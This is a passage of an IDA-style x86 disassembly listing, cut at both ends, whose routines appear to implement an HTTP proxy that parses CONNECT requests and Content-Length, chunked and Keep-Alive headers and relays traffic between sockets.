push eax
push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 24h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_428040 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428160 proc near ; CODE XREF: sub_401884j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428160
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov [esp+2Ch+var_28], esi
call sub_401F82
lea ecx, [esi+0A1h]
mov [esp+2Ch+var_4], 0
call sub_401424
push 0
push 2Ah
push 2Eh
push 2Eh
lea eax, [esp+3Ch+var_24]
push 22h
push eax
mov byte ptr [esp+44h+var_4], 1
mov dword ptr [esi], offset off_43E14C
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+2Ch+var_4], 2
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4015D7
lea ecx, [esp+2Ch+var_24]
mov byte ptr [esp+2Ch+var_4], 1
call sub_401226
mov ecx, [esp+2Ch+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 28h
retn
sub_428160 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_428220: ; CODE XREF: ___:00401E15j
; ___:loc_4021B2j
push esi
mov esi, ecx
call sub_401BD1
test byte ptr [esp+8], 1
jz short loc_428238
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_428238: ; CODE XREF: ___:0042822Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428250 proc near ; CODE XREF: sub_401BD1j
push esi
mov esi, ecx
push edi
mov edi, dword_50FC88
mov eax, [esi+0BFh]
mov dword ptr [esi], offset off_43E14C
cmp eax, 0FFFFFFFFh
jz short loc_42826E
push eax
call edi ; dword_50FC88
loc_42826E: ; CODE XREF: sub_428250+19j
mov eax, [esi+0BBh]
cmp eax, 0FFFFFFFFh
jz short loc_42827C
push eax
call edi ; dword_50FC88
loc_42827C: ; CODE XREF: sub_428250+27j
lea ecx, [esi+0A1h]
call sub_401226
mov ecx, esi
call sub_40179E
pop edi
pop esi
retn
sub_428250 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4282C0 proc near ; CODE XREF: sub_401D2Aj
var_B0 = byte ptr -0B0h
var_AA = byte ptr -0AAh
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_5C = byte ptr -5Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_3C = byte ptr -3Ch
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_C = byte ptr -0Ch
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_C = byte ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_24 = byte ptr 28h
arg_28 = byte ptr 2Ch
arg_34 = byte ptr 38h
arg_3C = byte ptr 40h
arg_40 = byte ptr 44h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_4A = word ptr 4Eh
arg_4C = dword ptr 50h
arg_50 = dword ptr 54h
arg_54 = dword ptr 58h
arg_58 = dword ptr 5Ch
arg_64 = byte ptr 68h
arg_68 = byte ptr 6Ch
arg_6C = byte ptr 70h
arg_91 = byte ptr 95h
arg_98 = byte ptr 9Ch
arg_9D = byte ptr 0A1h
arg_AD = byte ptr 0B1h
arg_D0 = dword ptr 0D4h
arg_D4 = byte ptr 0D8h
arg_E0 = dword ptr 0E4h
arg_E4 = byte ptr 0E8h
arg_EC = dword ptr 0F0h
arg_F0 = byte ptr 0F4h
arg_FC = byte ptr 100h
arg_108 = byte ptr 10Ch
arg_12C = byte ptr 130h
arg_150 = byte ptr 154h
arg_15C = byte ptr 160h
arg_180 = byte ptr 184h
arg_18C = byte ptr 190h
arg_1A4 = byte ptr 1A8h
arg_1B0 = byte ptr 1B4h
arg_1F8 = byte ptr 1FCh
arg_208 = byte ptr 20Ch
arg_210 = byte ptr 214h
arg_228 = byte ptr 22Ch
arg_230 = byte ptr 234h
arg_240 = byte ptr 244h
arg_244 = dword ptr 248h
arg_248 = dword ptr 24Ch
arg_24C = dword ptr 250h
arg_258 = byte ptr 25Ch
arg_374 = byte ptr 378h
arg_3B4 = byte ptr 3B8h
arg_3C4 = byte ptr 3C8h
arg_3D4 = byte ptr 3D8h
arg_3E4 = byte ptr 3E8h
arg_3EC = byte ptr 3F0h
arg_3F8 = byte ptr 3FCh
arg_3FC = byte ptr 400h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_41C = byte ptr 420h
arg_420 = byte ptr 424h
arg_42C = byte ptr 430h
arg_430 = byte ptr 434h
arg_43C = byte ptr 440h
arg_44C = byte ptr 450h
arg_45C = byte ptr 460h
arg_478 = byte ptr 47Ch
arg_4478 = byte ptr 447Ch
arg_53D0 = dword ptr 53D4h
arg_53E0 = dword ptr 53E4h
arg_5434 = byte ptr 5438h
arg_5444 = byte ptr 5448h
arg_544C = dword ptr 5450h
arg_5454 = dword ptr 5458h
arg_5480 = dword ptr 5484h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43BA92
push eax
mov eax, 5488h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov ebp, ecx
or esi, 0FFFFFFFFh
push edi
mov [ebp+0BFh], esi
mov byte ptr [esp+11h], 0
mov [esp+1Ch+var_A], 0
loc_4282F8: ; CODE XREF: sub_4282C0+FC6j
lea ecx, [esp+1Ch+arg_98]
call sub_401B36
lea ecx, [esp+1Ch+var_8]
mov [esp+1Ch+arg_5480], 0
mov [esp+1Ch+var_9], 0
call sub_401424
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+20h+arg_374]
push 104h
push eax
push ecx
mov byte ptr [esp+2Ch+arg_5480], 1
call sub_401280
add esp, 10h
test al, al
jz loc_429310
lea edx, [esp+1Ch+arg_374]
lea ecx, [esp+1Ch+arg_10]
push edx
call sub_401861
push offset byte_446F60
lea ecx, [esp+20h+arg_10]
mov byte ptr [esp+20h+arg_5480], 2
call sub_4012EE
test eax, eax
jnz short loc_4283B0
lea ecx, [esp+1Ch+arg_10]
mov byte ptr [esp+1Ch+arg_5480], 1
call sub_401226
lea ecx, [esp+1Ch+var_8]
mov byte ptr [esp+1Ch+arg_5480], 0
call sub_401226
lea ecx, [esp+1Ch+arg_98]
mov [esp+1Ch+arg_5480], esi
call sub_4014B0
jmp loc_429280
; ---------------------------------------------------------------------------
loc_4283B0: ; CODE XREF: sub_4282C0+B4j
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_210]
push 0
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset off_445248
mov ecx, eax
mov byte ptr [esp+20h+arg_5480], 3
call sub_401500
test eax, eax
lea ecx, [esp+1Ch+arg_210]
mov byte ptr [esp+1Ch+arg_5480], 2
setz bl
call sub_401226
test bl, bl
jz short loc_428475
push offset asc_443600 ; " "
lea ecx, [esp+20h+arg_1F8]
push 1
push ecx
lea ecx, [esp+28h+arg_10]
mov [esp+28h+var_9], 1
call sub_4016AE
lea edx, [esp+1Ch+arg_98]
mov ecx, eax
push edx
mov byte ptr [esp+20h+arg_5480], 4
call sub_4017E4
push eax
call sub_401938
add esp, 8
lea ecx, [esp+1Ch+arg_1F8]
test al, al
setz bl
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
test bl, bl
jnz loc_4292FF
push offset aHttp ; "http"
lea ecx, [esp+20h+arg_98]
call sub_4012EE
test eax, eax
jnz loc_4292FF
jmp loc_42866A
; ---------------------------------------------------------------------------
loc_428475: ; CODE XREF: sub_4282C0+137j
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_228]
push 0
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset aConnect_0 ; "CONNECT"
mov ecx, eax
mov byte ptr [esp+20h+arg_5480], 5
call sub_401500
test eax, eax
lea ecx, [esp+1Ch+arg_228]
mov byte ptr [esp+1Ch+arg_5480], 2
setz bl
call sub_401226
test bl, bl
jz loc_42866A
push offset aConnect ; "connect"
lea ecx, [esp+20h+arg_98]
mov [esp+20h+var_9], 0
call sub_4015D7
push offset byte_446F60
lea ecx, [esp+20h+arg_F0]
call sub_4015D7
push offset asc_443600 ; " "
lea ecx, [esp+20h+arg_108]
push 1
push ecx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+20h+arg_150]
push 0
push edx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 6
call sub_4016AE
push eax
lea ecx, [esp+20h+arg_AD]
mov byte ptr [esp+20h+arg_5480], 7
call sub_401FBE
lea ecx, [esp+1Ch+arg_150]
mov byte ptr [esp+1Ch+arg_5480], 6
call sub_401226
lea ecx, [esp+1Ch+arg_108]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_258]
push 1
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C84 ; ":"
lea ecx, [esp+20h+arg_180]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 8
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+1Ch+arg_5480], 9
call sub_4017E4
test eax, eax
lea ecx, [esp+1Ch+arg_180]
mov byte ptr [esp+1Ch+arg_5480], 8
setz bl
call sub_401226
lea ecx, [esp+1Ch+arg_258]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
test bl, bl
jnz loc_4292FF
push offset asc_443600 ; " "
lea edx, [esp+20h+arg_240]
push 1
push edx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C84 ; ":"
lea ecx, [esp+20h+arg_1B0]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 0Ah
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+1Ch+arg_5480], 0Bh
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1Ch+arg_1B0]
mov [esp+1Ch+arg_EC], eax
mov byte ptr [esp+1Ch+arg_5480], 0Ah
call sub_401226
lea ecx, [esp+1Ch+arg_240]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
mov eax, [esp+1Ch+arg_EC]
test eax, eax
jnz short loc_42866A
mov [esp+1Ch+arg_EC], 50h
loc_42866A: ; CODE XREF: sub_4282C0+1B0j
; sub_4282C0+1FCj ...
push offset asc_443600 ; " "
lea edx, [esp+20h+arg_28]
push 0
push edx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset byte_446F60
lea ecx, [esp+20h+arg_28]
mov byte ptr [esp+20h+arg_5480], 0Ch
call sub_4012EE
test eax, eax
jz loc_4292EE
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_40]
push 2
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset byte_446F60
lea ecx, [esp+20h+arg_40]
mov byte ptr [esp+20h+arg_5480], 0Dh
call sub_4012EE
test eax, eax
jz loc_4292DD
lea ecx, [esp+1Ch+arg_AD]
push ecx
lea ecx, [esp+20h+arg_68]
call sub_4014C9
mov ecx, 1000h
xor eax, eax
lea edi, [esp+1Ch+arg_478]
or ebx, 0FFFFFFFFh
rep stosd
mov edi, offset aHttprox ; "HTTPROX"
mov ecx, ebx
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+1Ch+arg_4478]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte ptr [esp+1Ch+arg_5480], 0Eh
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [esp+1Ch+arg_4478]
and ecx, 3
rep movsb
mov esi, offset asc_445220 ; "\r\n"
loc_428731: ; CODE XREF: sub_4282C0+48Fj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428755
test cl, cl
jz short loc_428751
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428755
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428731
loc_428751: ; CODE XREF: sub_4282C0+47Bj
xor eax, eax
jmp short loc_428759
; ---------------------------------------------------------------------------
loc_428755: ; CODE XREF: sub_4282C0+477j
; sub_4282C0+485j
sbb eax, eax
sbb eax, ebx
loc_428759: ; CODE XREF: sub_4282C0+493j
test eax, eax
jz loc_428833
mov edi, dword_50FACC
loc_428767: ; CODE XREF: sub_4282C0+56Dj
mov esi, offset byte_446F60
lea eax, [esp+1Ch+arg_4478]
loc_428773: ; CODE XREF: sub_4282C0+4D1j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428797
test cl, cl
jz short loc_428793
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428797
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428773
loc_428793: ; CODE XREF: sub_4282C0+4BDj
xor eax, eax
jmp short loc_42879B
; ---------------------------------------------------------------------------
loc_428797: ; CODE XREF: sub_4282C0+4B9j
; sub_4282C0+4C7j
sbb eax, eax
sbb eax, ebx
loc_42879B: ; CODE XREF: sub_4282C0+4D5j
test eax, eax
jz loc_428833
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+20h+arg_4478]
push 1000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_429339
lea edx, [esp+1Ch+arg_4478]
push 4000h
lea eax, [esp+20h+arg_478]
push edx
push eax
call edi ; dword_50FACC
push 4000h
lea ecx, [esp+2Ch+arg_478]
push offset asc_445220 ; "\r\n"
push ecx
call edi ; dword_50FACC
add esp, 18h
mov esi, offset asc_445220 ; "\r\n"
lea eax, [esp+1Ch+arg_4478]
loc_428803: ; CODE XREF: sub_4282C0+561j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428827
test cl, cl
jz short loc_428823
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428827
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428803
loc_428823: ; CODE XREF: sub_4282C0+54Dj
xor eax, eax
jmp short loc_42882B
; ---------------------------------------------------------------------------
loc_428827: ; CODE XREF: sub_4282C0+549j
; sub_4282C0+557j
sbb eax, eax
sbb eax, ebx
loc_42882B: ; CODE XREF: sub_4282C0+565j
test eax, eax
jnz loc_428767
loc_428833: ; CODE XREF: sub_4282C0+49Bj
; sub_4282C0+4DDj
mov esi, dword_50FAF8
lea eax, [esp+1Ch+arg_478]
push offset aProxyConnectio ; "Proxy-Connection:"
push eax
call esi ; dword_50FAF8
add esp, 8
test eax, eax
jz short loc_428887
push offset asc_443C84 ; ":"
push eax
call esi ; dword_50FAF8
add esp, 8
inc eax
jz short loc_428887
cmp byte ptr [eax], 20h
jnz short loc_42886B
loc_428862: ; CODE XREF: sub_4282C0+5A9j
mov cl, [eax+1]
inc eax
cmp cl, 20h
jz short loc_428862
loc_42886B: ; CODE XREF: sub_4282C0+5A0j
push offset aKeepAlive ; "Keep-Alive"
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz short loc_428887
mov byte ptr [ebp+0BAh], 1
jmp short loc_42888E
; ---------------------------------------------------------------------------
loc_428887: ; CODE XREF: sub_4282C0+58Dj
; sub_4282C0+59Bj ...
mov byte ptr [ebp+0BAh], 0
loc_42888E: ; CODE XREF: sub_4282C0+5C5j
cmp [ebp+0BFh], ebx
jnz loc_428926
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, ebx
mov [ebp+0BFh], eax
jz loc_42940D
mov edx, [esp+28h+arg_E0]
xor ecx, ecx
mov [esp+28h+arg_4C], ecx
push edx
mov [esp+2Ch+arg_50], ecx
mov word ptr [esp+2Ch+arg_4C], 2
mov [esp+2Ch+arg_54], ecx
mov [esp+2Ch+arg_58], ecx
call near ptr 71AB2B66h
nop
lea ecx, [esp+2Ch+arg_9D]
mov [esp+2Ch+arg_4A], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
cmp eax, ebx
mov [esp+2Ch+arg_4C], eax
jz loc_42934B
mov ecx, [ebp+0BFh]
lea eax, [esp+2Ch+arg_48]
push 10h
push eax
push ecx
nop
call near ptr 71AB406Ah
cmp eax, ebx
jz loc_4293A8
loc_428926: ; CODE XREF: sub_4282C0+5D4j
mov al, [esp+13h]
test al, al
jz loc_428FCE
mov al, [ebp+0BAh]
test al, al
jz short loc_428971
lea edx, [esp+38h+arg_45C]
lea ecx, [esp+38h+arg_24]
push edx
call sub_4017E4
push eax
lea ecx, [esp+40h+arg_D4]
call sub_4017E4
push eax
lea ecx, [esp+44h+arg_C]
call sub_4017E4
push eax
lea eax, [esp+48h+var_24]
push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s"
push eax
jmp short loc_4289A4
; ---------------------------------------------------------------------------
loc_428971: ; CODE XREF: sub_4282C0+67Aj
lea ecx, [esp+38h+arg_45C]
push ecx
lea ecx, [esp+3Ch+arg_24]
call sub_4017E4
push eax
lea ecx, [esp+40h+arg_D4]
call sub_4017E4
push eax
lea ecx, [esp+44h+arg_C]
call sub_4017E4
push eax
lea edx, [esp+48h+var_24]
push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s"
push edx
loc_4289A4: ; CODE XREF: sub_4282C0+6AFj
call sub_40102D
add esp, 18h
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
push eax
mov eax, [ebp+0BFh]
push eax
nop
call near ptr 71AB428Ah
test eax, eax
jz loc_4293F2
cmp eax, ebx
jz loc_4293F2
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+4Ch+arg_44C]
push 4000h
push ecx
push edx
call sub_401280
add esp, 10h
test al, al
jz loc_42941F
mov edi, offset asc_445220 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+48h+arg_44C]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+4Ch+arg_44C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+4Ch+arg_44C]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
xor ebx, ebx
mov esi, offset asc_445220 ; "\r\n"
mov [esp+58h+var_2C], ebx
lea eax, [esp+58h+arg_43C]
loc_428A6E: ; CODE XREF: sub_4282C0+7CCj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428A92
test cl, cl
jz short loc_428A8E
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428A92
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428A6E
loc_428A8E: ; CODE XREF: sub_4282C0+7B8j
xor eax, eax
jmp short loc_428A97
; ---------------------------------------------------------------------------
loc_428A92: ; CODE XREF: sub_4282C0+7B4j
; sub_4282C0+7C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428A97: ; CODE XREF: sub_4282C0+7D0j
test eax, eax
jz loc_428E19
loc_428A9F: ; CODE XREF: sub_4282C0+B48j
mov esi, offset byte_446F60
lea eax, [esp+58h+arg_43C]
loc_428AAB: ; CODE XREF: sub_4282C0+80Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428AD3
test cl, cl
jz short loc_428ACF
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428AD3
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428AAB
loc_428ACF: ; CODE XREF: sub_4282C0+7F7j
xor eax, eax
jmp short loc_428AD8
; ---------------------------------------------------------------------------
loc_428AD3: ; CODE XREF: sub_4282C0+7F3j
; sub_4282C0+803j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428AD8: ; CODE XREF: sub_4282C0+811j
test eax, eax
jz loc_428E15
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+5Ch+arg_43C]
push 4000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_428E10
lea edx, [esp+58h+arg_43C]
lea ecx, [esp+58h+arg_44]
push edx
call sub_401861
push offset asc_443600 ; " "
lea eax, [esp+5Ch+arg_1A4]
push 0
push eax
lea ecx, [esp+64h+arg_44]
mov [esp+64h+arg_5444], 0Fh
call sub_4016AE
push offset aContentLength ; "Content-Length:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 10h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_1A4]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428BBA
push offset asc_443600 ; " "
lea ecx, [esp+5Ch+arg_E4]
push 1
push ecx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
mov ecx, eax
mov [esp+58h+arg_5444], 11h
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+58h+arg_E4]
mov [esp+58h+var_2C], eax
mov [esp+58h+arg_5444], 0Fh
call sub_401226
loc_428BBA: ; CODE XREF: sub_4282C0+8ACj
push offset asc_443600 ; " "
lea edx, [esp+5Ch+arg_FC]
push 0
push edx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aTransferEncodi ; "Transfer-Encoding:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 12h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_FC]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428C49
push offset asc_443600 ; " "
lea eax, [esp+5Ch+arg_12C]
push 1
push eax
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aChunked ; "chunked"
mov ecx, eax
mov [esp+5Ch+arg_5444], 13h
call sub_401500
lea ecx, [esp+58h+arg_12C]
mov [esp+58h+arg_5444], 0Fh
call sub_401226
loc_428C49: ; CODE XREF: sub_4282C0+944j
push offset asc_443600 ; " "
lea ecx, [esp+5Ch+arg_15C]
push 0
push ecx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aConnection ; "Connection:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 14h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_15C]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428CE4
push offset asc_443600 ; " "
lea edx, [esp+5Ch+arg_18C]
push 1
push edx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aKeepAlive ; "Keep-Alive"
mov ecx, eax
mov [esp+5Ch+arg_5444], 15h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_18C]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
setnz [esp+58h+var_47]
loc_428CE4: ; CODE XREF: sub_4282C0+9D3j
mov esi, offset asc_445220 ; "\r\n"
lea eax, [esp+58h+arg_43C]
loc_428CF0: ; CODE XREF: sub_4282C0+A52j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428D18
test cl, cl
jz short loc_428D14
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428D18
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428CF0
loc_428D14: ; CODE XREF: sub_4282C0+A3Cj
xor eax, eax
jmp short loc_428D1D
; ---------------------------------------------------------------------------
loc_428D18: ; CODE XREF: sub_4282C0+A38j
; sub_4282C0+A48j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428D1D: ; CODE XREF: sub_4282C0+A56j
test eax, eax
jz loc_428DB9
mov esi, offset byte_446F60
lea eax, [esp+58h+arg_43C]
loc_428D31: ; CODE XREF: sub_4282C0+A93j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428D59
test cl, cl
jz short loc_428D55
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428D59
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428D31
loc_428D55: ; CODE XREF: sub_4282C0+A7Dj
xor eax, eax
jmp short loc_428D5E
; ---------------------------------------------------------------------------
loc_428D59: ; CODE XREF: sub_4282C0+A79j
; sub_4282C0+A89j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428D5E: ; CODE XREF: sub_4282C0+A97j
test eax, eax
jz short loc_428DB9
mov edi, offset asc_445220 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+58h+arg_43C]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+5Ch+arg_43C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+5Ch+arg_43C]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj
; sub_4282C0+AA0j
lea ecx, [esp+68h+arg_34]
mov [esp+68h+arg_5434], 0Eh
call sub_401226
mov esi, offset asc_445220 ; "\r\n"
lea eax, [esp+68h+arg_42C]
loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428E01
test cl, cl
jz short loc_428DFD
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428E01
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428DD9
loc_428DFD: ; CODE XREF: sub_4282C0+B25j
xor eax, eax
jmp short loc_428E06
; ---------------------------------------------------------------------------
loc_428E01: ; CODE XREF: sub_4282C0+B21j
; sub_4282C0+B31j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428E06: ; CODE XREF: sub_4282C0+B3Fj
test eax, eax
jnz loc_428A9F
jmp short loc_428E15
; ---------------------------------------------------------------------------
loc_428E10: ; CODE XREF: sub_4282C0+840j
mov [esp+58h+var_46], 1
loc_428E15: ; CODE XREF: sub_4282C0+81Aj
; sub_4282C0+B4Ej
mov ebx, [esp+58h+var_2C]
loc_428E19: ; CODE XREF: sub_4282C0+7D9j
mov al, [esp+58h+var_47]
push 0
test al, al
jz short loc_428E41
mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [ebp+0BBh]
not ecx
dec ecx
push ecx
push offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
push eax
jmp short loc_428E5D
; ---------------------------------------------------------------------------
loc_428E41: ; CODE XREF: sub_4282C0+B61j
mov edi, offset aConnectionClos ; "Connection: Close\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, [ebp+0BBh]
push offset aConnectionClos ; "Connection: Close\r\n"
push ecx
loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj
nop
call near ptr 71AB428Ah
mov edi, offset asc_445220 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+68h+arg_42C]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, [ebp+0BBh]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+6Ch+arg_42C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
lea ecx, [esp+70h+arg_42C]
push ecx
push edx
call near ptr 71AB428Ah
nop
test ebx, ebx
jz loc_428F8C
xor edi, edi
test ebx, ebx
jle short loc_428F14
loc_428EC3: ; CODE XREF: sub_4282C0+C52j
mov eax, ebx
sub eax, edi
cmp eax, 4000h
jbe short loc_428F14
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+7Ch+arg_41C]
push 4000h
push ecx
push edx
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_428F14
cmp esi, 0FFFFFFFFh
jz short loc_428F14
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+8Ch+arg_40C]
push esi
push eax
push ecx
nop
call near ptr 71AB428Ah
add edi, esi
cmp edi, ebx
jl short loc_428EC3
loc_428F14: ; CODE XREF: sub_4282C0+C01j
; sub_4282C0+C0Cj ...
mov eax, ebx
sub eax, edi
jz short loc_428F5E
loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj
push 0
push eax
mov eax, [ebp+0BFh]
lea edx, [esp+0A0h+arg_3FC]
push edx
push eax
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_428F5E
cmp esi, 0FFFFFFFFh
jz short loc_428F5E
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+0ACh+arg_3EC]
push esi
push ecx
push edx
